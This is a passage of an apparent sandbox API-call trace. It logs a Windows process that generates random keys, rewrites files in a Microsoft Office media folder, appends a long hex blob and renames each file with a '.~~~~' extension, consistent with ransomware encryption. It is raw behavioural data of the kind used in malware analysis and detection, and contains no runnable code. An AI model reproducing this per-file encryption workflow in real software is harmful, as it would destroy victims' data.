	[0125.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0125.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.585] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0f70
	[0125.585] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0125.585] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.586] GetLastError () returned 0x0
	[0125.586] GetLastError () returned 0x0
	[0125.586] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.586] GetLastError () returned 0x0
	[0125.586] GetLastError () returned 0x0
	[0125.589] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffa5d5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.589] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x5a2b, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x5a2b, lpOverlapped=0x0) returned 1
	[0125.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.591] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.591] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.592] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.592] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.592] CloseHandle (hObject=0xc4) returned 1
	[0125.592] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0f70
	[0125.592] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302827.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302827.jpg.~~~~")) returned 1
	[0125.593] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0f70 | out: hHeap=0x300000) returned 1
	[0125.594] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0125.594] GetLastError () returned 0x0
	[0125.594] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2a3f2e8) returned 1
	[0125.595] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0125.595] CryptReleaseContext (hProv=0x2a3f2e8, dwFlags=0x0) returned 1
	[0125.595] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0125.595] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.596] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24558576284) returned 1
	[0125.596] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb4528150, dwHighDateTime=0x1d60e1e)) 
	[0125.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0125.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821048
	[0125.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821048 | out: hHeap=0x300000) returned 1
	[0125.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0125.596] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.596] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1008
	[0125.597] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0125.597] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.597] GetLastError () returned 0x0
	[0125.597] GetLastError () returned 0x0
	[0125.597] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.597] GetLastError () returned 0x0
	[0125.597] GetLastError () returned 0x0
	[0125.600] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffda3f, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.600] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x25c1, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x25c1, lpOverlapped=0x0) returned 1
	[0125.602] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.602] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.602] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.602] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.602] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.602] CloseHandle (hObject=0xc4) returned 1
	[0125.603] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c1008
	[0125.603] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0302953.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0302953.jpg.~~~~")) returned 1
	[0125.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c1008 | out: hHeap=0x300000) returned 1
	[0125.604] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0125.604] GetLastError () returned 0x0
	[0125.605] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x2a3f2e8) returned 1
	[0125.606] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363080 | out: pbBuffer=0x363080) returned 1
	[0125.606] CryptReleaseContext (hProv=0x2a3f2e8, dwFlags=0x0) returned 1
	[0125.606] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363080 | out: hHeap=0x300000) returned 1
	[0125.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0125.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0125.607] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24559686849) returned 1
	[0125.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb454e2b0, dwHighDateTime=0x1d60e1e)) 
	[0125.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0125.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0125.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0125.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821080
	[0125.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.607] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2821080 | out: hHeap=0x300000) returned 1
	[0125.607] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0125.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.608] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c10a0
	[0125.608] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0125.608] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.608] GetLastError () returned 0x0
	[0125.608] GetLastError () returned 0x0
	[0125.609] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.609] GetLastError () returned 0x0
	[0125.609] GetLastError () returned 0x0
	[0125.613] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffb27c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.613] WriteFile (in: hFile=0xc4, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x4d84, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x4d84, lpOverlapped=0x0) returned 1
	[0125.616] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.616] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.616] WriteFile (in: hFile=0xc4, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.616] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.616] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.616] CloseHandle (hObject=0xc4) returned 1
	[0125.616] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c10a0
	[0125.617] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0304933.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0304933.wmf.~~~~")) returned 1
	[0125.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c10a0 | out: hHeap=0x300000) returned 1
	[0125.618] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0125.618] GetLastError () returned 0x0
	[0125.633] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0125.634] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.634] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.635] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0125.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.635] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24562498312) returned 1
	[0125.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb459a570, dwHighDateTime=0x1d60e1e)) 
	[0125.635] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0125.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0125.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0125.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820f68
	[0125.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820f68 | out: hHeap=0x300000) returned 1
	[0125.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.636] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.636] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f18b8
	[0125.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0ed8
	[0125.637] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f18b8 | out: hHeap=0x300000) returned 1
	[0125.637] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.637] GetLastError () returned 0x0
	[0125.637] GetLastError () returned 0x0
	[0125.637] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.637] GetLastError () returned 0x0
	[0125.638] GetLastError () returned 0x0
	[0125.641] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffa510, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.641] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x5af0, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x5af0, lpOverlapped=0x0) returned 1
	[0125.643] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.643] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.644] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.644] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.644] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.644] CloseHandle (hObject=0x120) returned 1
	[0125.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0ed8
	[0125.644] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf.~~~~")) returned 1
	[0125.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0ed8 | out: hHeap=0x300000) returned 1
	[0125.646] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0125.646] GetLastError () returned 0x0
	[0125.646] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0125.648] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.648] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.648] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0125.648] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.648] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24563847268) returned 1
	[0125.648] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb459a570, dwHighDateTime=0x1d60e1e)) 
	[0125.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0125.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0125.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0125.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28210f0
	[0125.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28210f0 | out: hHeap=0x300000) returned 1
	[0125.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f18b8
	[0125.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.649] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c11d0
	[0125.649] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f18b8 | out: hHeap=0x300000) returned 1
	[0125.649] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0125.650] GetLastError () returned 0x0
	[0125.650] GetLastError () returned 0x0
	[0125.650] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0125.650] GetLastError () returned 0x0
	[0125.650] GetLastError () returned 0x0
	[0125.654] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffcc8e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.654] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x3372, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x24dfec0*=0x3372, lpOverlapped=0x0) returned 1
	[0125.656] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0125.656] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.656] WriteFile (in: hFile=0x120, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.656] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.656] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.656] CloseHandle (hObject=0x120) returned 1
	[0125.656] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c11d0
	[0125.656] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf.~~~~")) returned 1
	[0125.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c11d0 | out: hHeap=0x300000) returned 1
	[0125.658] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0125.658] GetLastError () returned 0x0
	[0125.658] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0125.660] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.660] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.660] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0125.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0125.660] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=24565039203) returned 1
	[0125.660] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xb45c06d0, dwHighDateTime=0x1d60e1e)) 
	[0125.660] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0125.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0125.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0125.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2821128
	[0125.661] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
